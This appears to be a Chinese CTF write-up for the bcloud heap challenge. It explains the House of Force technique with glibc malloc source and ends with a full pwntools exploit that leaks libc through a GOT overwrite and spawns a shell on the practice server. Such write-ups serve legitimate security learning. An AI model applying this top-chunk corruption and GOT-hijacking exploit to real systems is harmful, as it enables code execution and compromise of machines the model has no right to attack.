BUU-bcloud_bctf_2016-WP

Posted on Jan 23, 2021

发牢骚

考试周是真的烦,快一个星期没有碰pwn,做本题时的体验很差

知识点

本题是House Of系列中的House Of Force,也是我第一次接触House系列。总的来说HOF还是比较容易理解的,但是其条件比较苛刻。

分析

典型的菜单题,简单地重命名一下,意外的是几个子功能中好像都没看出来什么问题

看了许久无果,于是我把目光转向了setvbuf之后的那个函数,发现好像确实有点问题

这里由于我们可以向s开始的内存输入64个字符,所以我们可以接上v2,然后通过strcpy就连着v2一起拷贝进了*v2中

然后这里就可以把堆地址leak出来。

这个函数里面也有类似的漏洞,通过向s中输入64个字符,就可以接上v2,v2大概率是不会有为'\x00'的字节的,所以在strcpy的时候很可能会连着把v3开始的字符也拷贝进去,因此,可以看出,我们可以实现修改v2的下一个chunk,也就是top chunksize(当然,prev_size也被修改了,只不过不受我们控制),满足了这个条件,同时我们还可以任意指定分配的大小,基本上我们就可以实现HOF了。

House Of Force

引用CTF Wiki的总结,实现HOF要满足下面三个条件(当然其实还要知道av->top的地址,但是这个一般比下面三个条件好弄)

  • 首先,需要存在漏洞使得用户能够控制 top chunk 的 size 域。
  • 其次,需要用户能自由控制 malloc 的分配大小
  • 第三,分配的次数不能受限制

那么什么是HOF呢,这是一种针对top chunk的攻击,当无法从各种bin中获得需要的chunk的时候,就会尝试分割top chunk进行分配,如下

    use_top:
      /*
         If large enough, split off the chunk bordering the end of memory
         (held in av->top). Note that this is in accord with the best-fit
         search rule.  In effect, av->top is treated as larger (and thus
         less well fitting) than any other available chunk since it can
         be extended to be as large as necessary (up to system
         limitations).

         We require that av->top always exists (i.e., has size >=
         MINSIZE) after initialization, so if it would otherwise be
         exhausted by current request, it is replenished. (The main
         reason for ensuring it exists is that we may need MINSIZE space
         to put in fenceposts in sysmalloc.)
       */

      victim = av->top;
      size = chunksize (victim);

      if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (victim, nb);
          av->top = remainder;
          set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head (remainder, remainder_size | PREV_INUSE);

          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }

      /* When we are using atomic ops to free fast chunks we can get
         here for all block sizes.  */
      else if (have_fastchunks (av))
        {
          malloc_consolidate (av);
          /* restore original bin index */
          if (in_smallbin_range (nb))
            idx = smallbin_index (nb);
          else
            idx = largebin_index (nb);
        }

      /*
         Otherwise, relay to handle system-dependent cases
       */
      else
        {
          void *p = sysmalloc (nb, av);
          if (p != NULL)
            alloc_perturb (p, bytes);
          return p;
        }

这里面我们主要利用这一段

victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
  {
    remainder_size = size - nb;
    remainder = chunk_at_offset (victim, nb);
    //#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
    av->top = remainder;
    set_head (victim, nb | PREV_INUSE |
              (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
  }

可以看到,分配的地址空间是从av->top开始的,同时分割之后对av->top指针进行了修改,如果利用这个修改将av->top指向我们想要的地址,那么下一次再通过top chunk分配的时候就会分配到我们想要的地址,这样就是想了任意地址写。所以如何对av->top进行恰当修改呢?很容易,只要我们让nb = desire_addr - av->top就可以了。但是对nb和我们实际输入的malloc_size会进行一些检测,需要我们绕过。(我们输入的数,被视为size_t类型)

首先我们需要让ptmalloc执行这个分支,需要满足(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)size就是top chunk的大小。我们先看一下nb是怎样算的的。nb(应该是needed byte的缩写)是通过这样的宏算得的checked_request2size (bytes, nb);这个宏是这样定义的

/*
   Check if a request is so large that it would wrap around zero when
   padded and aligned. To simplify some other code, the bound is made
   low enough so that adding MINSIZE will also not wrap around zero.
 */

#define REQUEST_OUT_OF_RANGE(req)                                              \
    ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//
#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/*  Same, except also perform argument check */

#define checked_request2size(req, sz)                                          \
    if (REQUEST_OUT_OF_RANGE(req)) {                                           \
        __set_errno(ENOMEM);                                                   \
        return 0;                                                              \
    }                                                                          \
    (sz) = request2size(req);

首先我们申请的空间不能太大,REQUEST_OUT_OF_RANGE(req)进行了检测(其中MINSIZE = (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)))。这个检测一般都可以绕过,以32位机为例,只有当大于max unsigned int - 32会报错(一般来说我们需要分配的地址在top chunk下面,所以会输入负数,那么我们输入的数就要小于-2*MINSIZE)。

然后要绕过((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE),这个也基本不成问题,这样就可以将nb置为((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)了。& ~MALLOC_ALIGN_MASK在这里置最低三位为0(8字节对齐)

这样来看其实这几个检测的绕过是容易的,我们输入的size也是容易计算出来的。麻烦的仍然是(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)这个,也就是说top chunksize要足够大,这就是我们HOF所需的一个比较重要的条件,也就是控制top chunksize。一般我们会考虑将size设置为-1,这样基本够大了。

能够成功绕过上述的检测后,我们输入一个算好的size就可以将av->top指向我们需要的地址,然后下一次分配的时候就可以分配chunk到我们需要的地址了,这样就实现了任意地址写。

回到题目

我们先通过

这里的漏洞leak出堆地址,这样就可以计算出之后top chunk的地址了。

然后在这个函数里面

我们向s写入64个字节,向v3写入p32(0xffffffff),这样在strcpy是就正好把top chunksize置为-1了。

然后我们通过new_note的功能,申请一个(&note_size_array - 8) - av->top - 4 - 7 -4大小的chunk(这里-4是减掉size_sz,-7是减掉MALLOC_ALIGN_MASK,再减4是因为malloc的时候加了4,对&note_size_array减8是因为返回的指针会加8),这样就可以对&note_size_array开始的一段内存任意写了。我们考虑修改3个note的大小为4,然后修改三个note为free@got,atoi@got,atoi@got。之后利用修改功能写free@gotputs@plt,然后free掉第二个笔记,leak出atoi,再覆写atoi@got就可以getshell了

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#sh = process("./bcloud")
sh = remote("node3.buuoj.cn",29278)
elf = ELF("./bcloud")
libc = ELF("./libcs/buu-32-libc.so")

sh.sendafter("name:\n","a" * 63 + "e")
sh.recvuntil("ae")

chunk_addr = u32(sh.recvuntil("!",drop = True)) - 8 
log.success("first chunk address:"+hex(chunk_addr))

sh.sendafter("Org:",'a' * 64)
sh.sendlineafter("Host:",p32(0xffffffff))

def New_note(length,payload):
    sh.sendlineafter("--->>","1")
    sh.sendlineafter("content:\n",str(length))
    if(length > 0):
        sh.sendlineafter("content:\n",payload)

def Edit_note(index,payload):
    sh.sendlineafter("--->>","3")
    sh.sendlineafter("id:\n",str(index))
    sh.sendlineafter("content:\n",payload)

def Delete_note(index):
    sh.sendlineafter("--->>","4")
    sh.sendlineafter("the id:\n",str(index))
  
notelen_addr = 0x0804B0A0
notelist_addr = 0x0804B120
overwirte = notelen_addr - 8
top_chunk_addr_now = chunk_addr + 0x48 * 3
offset_to_top = overwirte - top_chunk_addr_now
malloc_size = offset_to_top - 4 - 7
log.success("malloc size:" + str(malloc_size))

New_note(malloc_size - 4,'')

payload = p32(4) * 3 + "a" * (notelist_addr - notelen_addr - 12) + p32(elf.got["free"])
payload += p32(elf.got["atoi"])
payload += p32(elf.got["atoi"])
New_note(len(payload),payload)

Edit_note(0,p32(elf.plt["puts"]))
Delete_note(1)
atoi_addr = u32(sh.recv(4))
base_addr = atoi_addr - libc.symbols["atoi"]
system_addr = base_addr + libc.symbols["system"]
log.success("system address leaked:",hex(system_addr))

Edit_note(2,p32(system_addr))

sh.sendlineafter("-->","/bin/sh\x00")
sh.interactive()

堆利用还是有点难学啊:(